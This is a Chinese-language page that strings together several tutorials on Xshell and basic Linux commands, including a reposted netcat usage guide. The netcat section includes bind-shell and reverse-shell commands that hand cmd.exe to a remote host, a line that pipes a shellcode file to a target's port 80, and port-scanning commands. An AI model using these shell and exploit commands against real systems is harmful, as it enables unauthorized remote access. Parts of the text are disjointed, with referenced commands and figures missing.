1. xshell 6 的使用以及常用命令(附下載)
Xshell 是一個強大的安全終端模擬軟體,它支持SSH1, SSH2, 以及Microsoft Windows 平台的TELNET 協議。Xshell 通過互聯網到遠程主機的安全連接以及它創新性的設計和特色幫助用戶在復雜的網路環境中享受他們的工作。
如何安裝,請參考如下:
命令ls——列出文件
ls 顯示當前目錄文件
ls -la 給出當前目錄下所有文件的一個長列表,包括以句點開頭的「隱藏」文件
ls a* 列出當前目錄下以字母a開頭的所有文件
ls -l *.doc 給出當前目錄下以.doc結尾的所有文件
命令cp——復制文件
cp afile afile.bak 把文件復制為新文件afile.bak
cp afile /home/bible/ 把文件afile從當前目錄復制到/home/bible/目錄下
cp * /tmp 把當前目錄下的所有未隱藏文件復制到/tmp/目錄下
cp -a docs docs.bak 遞歸性地把當前目錄下的docs目錄復制為新目錄docs.bak,保持文件屬性,並復制所有的文件,包括以句點開頭的隱藏文件。為了方便起見,-a選項包含-R選項
cp -i 在覆蓋前詢問用戶
cp -v 告訴用戶正在做什麼
命令rm——刪除文件和目錄 rm afile 刪除文件afile
rm * 刪除當前目錄下的所有文件(未隱藏文件)。rm命令不刪除目錄,除非也指定了-r(遞歸)參數。
rm -rf domed 刪除domed目錄以及它所包含的所有內容
rm -i a* 刪除當前目錄下所有以字母a開頭的文件,並且在每次刪除時,提示用戶進行確認
4
命令mv——移動和重命名文件 mv aflie bfile 將afile重命名為bfile
mv afile /tmp 把當前目錄下的afile移動到/tmp/目錄下
5
命令cd——更改目錄
cd 切換到主目錄
cd ~ 切換到主目錄
cd /tmp 切換到目錄/tmp
cd dir 切換到當前目錄下的dir目錄
cd / 切換到根目錄
cd .. 切換到到上一級目錄
cd ../.. 切換到上二級目錄
cd ~ 切換到用戶目錄,比如是root用戶,則切換到/root下
2. xshell添加快捷命令,怎麼使用
xshell中文版目前已經可以在國內的官方網站上獲取,建議使用中文版哦,添加快捷命令的步驟如下:
第一步:滑鼠點擊Xshell菜單欄「查看」菜單,在其下拉選項勾選「快速命令」,如下圖所示。
圖4:輸入快捷命令
按照上面的步驟操作,就可以在Xshell中添加快捷命令了,這樣就可以更加高效地管理遠程主機,提高工作效率。
3. xshell上用命令傳文件
rz,sz是便是linux/Unix同Windows進行ZModem文件傳輸的命令行工具,所以要在Xshell連接屬性中的設置上傳協議為Zmodem和接受的文件路徑
sz:將選定的文件發送到本地
rz:運行該命令會彈出一個文件選擇窗口,從本地選擇文件上傳到Linux伺服器
安裝命令:
需要先在linux伺服器上安裝lrzsz工具包
從服務端(linux)發送文件到客戶端(windows):
從客戶端(windows)上傳文件到服務端(linux):
1、如果我們處在IP為「192.168.0.1」的Linux系統下,將系統下的/home/etc.tar.gz文件拷貝到IP為「192.168.0.2」的遠程Linux系統中root用戶下的/tmp目錄下:
命令輸入完畢,會要求輸入「192.168.0.2」伺服器root的密碼,然後開始遠程拷貝數據
2、如果我們處在IP為「192.168.0.2」的Linux系統下,需要將IP為「192.168.0.1」的Linux伺服器上
文件路徑為「/home/etc.tar.gz」的文件拷貝到本伺服器的/tmp路徑下
4. xshell如何查看nc文件
發送端:cattest.txt | nc -l -p 6666或者nc -l -p 6666 < test.txt【監聽6666埠,等待連接】(設發送端IP為10.20.133.152)接收端:nc 10.20.133.152 6666 > test1.txt如上面的操作,即可將文件test.txt從發送端傳送到接收端,保存為test1.txt想要連接到某處: nc [-options] hostname port[s] [ports] ...綁定埠等待連接: nc -l -p port [-options] [hostname] [port]語法:nc [-hlnruz][-g][-G][-i][-o][-p][-s][-v...][-w][主機名稱][通信端 口...]補充說明:執行本指令可設置路由器的相關參數。參數:-g 設置路由器躍程通信網關,最丟哦可設置8個。-G 設置來源路由指向器,其數值為4的倍數。-h 在線幫助。-i 設置時間間隔,以便傳送信息及掃描通信埠。-l 使用監聽模式,管控傳入的資料。-n 直接使用IP地址,而不通過域名伺服器。-o 指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存。-p 設置本地主機使用的通信埠。-r 亂數指定本地與遠端主機的通信埠。-s 設置本地主機送出數據包的IP地址。-u 使用UDP傳輸協議。-v 顯示指令執行過程。-w 設置等待連線的時間。-z 使用0輸入/輸出模式,只在掃描通信埠時使用。另外,nc命令也可用於埠掃描:nc -v -z -w2 10.20.133.152 1-14000可以掃描10.20.133.152主機上的1~14000號TCP埠;nc -u -v -z -w2 10.20.133.152 1-14000可以掃描10.20.133.152主機上的1~14000號UDP埠。
nc是一款很不錯的網路檢測工具,以下是詳細使用。
'nc.exe -h'即可看到各參數的使用方法。
基本格式:nc [-options] hostname port [ports] ...
nc -l -p port [options] [hostname] [port]
-d 後台模式
-e prog 程序重定向,一旦連接,就執行 [危險!!]
-g gateway source-routing hop point, up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 幫助信息
-i secs 延時的間隔
-l 監聽模式,用於入站連接
-L 連接關閉後,仍然繼續監聽
-n 指定數字的IP地址,不能用hostname
-o file 記錄16進制的傳輸
-p port 本地埠號
-r 隨機本地及遠程埠
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 詳細輸出--用兩個-v可得到更詳細的內容
-w secs timeout的時間
-z 將輸入輸出關掉--用於掃描時
埠的表示方法可寫為M-N的范圍格式。
1)連接到遠程主機
格式:nc -nvv 192.168.x.x 80
講解:連到192.168.x.x的TCP80埠
2)監聽本地主機
格式:nc -l -p 80
講解:監聽本機的TCP80埠
3)掃描遠程主機
格式:nc -nvv -w2 -z 192.168.x.x 80-445
講解:掃描192.168.x.x的TCP80到TCP445的所有埠
4)REMOTE主機綁定SHELL,例子:
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
講解:綁定REMOTE主機的CMDSHELL在REMOTE主機的TCP5354埠
5)REMOTE主機綁定SHELL並反向連接,例子:
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
講解:綁定REMOTE主機的CMDSHELL並反向連接到192.168.x.x的TCP5354埠
以上為最基本的幾種用法(其實NC的用法還有很多,
當配合管道命令"|"與重定向命令""等等命令功能更強大......)。
6)作攻擊程序用,例子:
格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt
講解:連接到192.168.x.x的80埠,並在其管道中發送'c:\exploit.txt'的內容(兩種格式確有相同的效果,真是有異曲同工之妙:P)
附:'c:\exploit.txt'為shellcode等
7)作蜜罐用[1],例子:
格式:nc -L -p 80
講解:使用'-L'(注意L是大寫)可以不停地監聽某一個埠,直到ctrl+c為止
8)作蜜罐用[2],例子:
格式:nc -L -p 80 > c:\log.txt
講解:使用'-L'可以不停地監聽某一個埠,直到ctrl+c為止,同時把結果輸出到'c:\log.txt'中,如果把『>'
改為『>>'即可以追加日誌
附:'c:\log.txt'為日誌等
9)作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:\honeypot.txt
格式2:type.exe c:\honeypot.txt|nc -L -p 80
講解:使用'-L'可以不停地監聽某一個埠,直到ctrl+c為止,並把'c:\honeypot.txt'的內容『送'入其管道中!
10)備份檔案
A機的資料夾 /data備份到B主機的backup.tgz
源主機: tar czf - work|nc -l -c -p 1234
目的主機: nc 192.168.0.1 1234 >a.tgz
或
A:tar -zcf data|nc -l -p 4444
B:nc a 4444 >backup.tgz
傳完後ctrl+c中斷連接,這樣A主機不會生成檔案直接傳到了backup.tgz,缺點就是不知道啥時候傳完,嘿嘿
posted on 2010-10-28 10:03 flyonok 閱讀(2176) 評論(0) 編輯 收藏 引用 所屬分類: linux
5. Xshell用什麼命令進入
Xshell作為專業的終端模擬器,可以用來登錄Linux,從而通過命令來控制Linux系統,下面就學習具體操作技巧。
打開電腦上的虛擬機,啟動Linux系統,然後打開Xshell軟體,連接上Linux系統,如下圖所示。
圖6:關閉系統
以上就是給大家介紹的在Xshell中操控Linux的常用命令,希望可以幫助大家更好地藉助終端模擬器來控制Linux系統。
6. Xshell本地指令大全
很多軟體在使用過程中都有快捷鍵,當然xshell也有,有因為xshell是一款 安全終端模擬軟體 ,所以與普通的軟體有絲絲的區別,它的快捷鍵是以指令形式展現的。
圖1:xshell本地指令表現形式
一般來講,Xshell提示在未連接遠程主機的狀態下出現在終端屏幕上。連接會話後可按「Ctrl+Alt+]」以轉出本地提示。如要返回到遠程主機模式輸入「exit」或按「Ctrl+D」即可。
可使用如下指令:
|
指令
|
說明
|
| --- | --- |
|
help
?
|
在終端窗口顯示指令目錄。
|
|
new
|
打開新建會話屬性對話框。
|
|
open [ session ]
|
已指定「 session 」時連接到相應會話,未指定時打開會話對話框。
|
|
edit [ session ]
|
已指定「 session 」時打開相應會話的會話屬性對話框,未指定時打開默認會話的會話屬性對話框。
|
|
list
|
顯示當前作業directory可使用的會話相關信息和directory目錄。
|
|
cd
|
更改當前作業的directory。
|
|
clear
|
清除畫面、地址欄的歷史記錄、本地Shell命令提示的命令歷史記錄。
|
|
exit
quit
|
退出Xshell會話或返回到遠程主機。
|
|
ssh [ user @] host [ port ]
|
以ssh協議進行連接。
|
|
sftp [ user @] host [ port ]
|
以sftp協議進行連接。
|
|
telnet [ user @] host [ port ]
|
以telnet協議進行連接。
|
|
rlogin [ user @] host [ port ]
|
以rlogin協議進行連接。
|
|
ftp [ user @] host [ port ]
|
以ftp協議進行連接。
|
|
ipconfig
|
執行Windows的ipconfig命令。
|
|
ping host
|
執行Windows的ping命令。
|
|
tracert host
|
顯示至host的數據包路徑。
|
|
netstat
|
執行Windows의netstat命令。
|
|
nslookup
|
執行Windows의 nslookup 命令。
|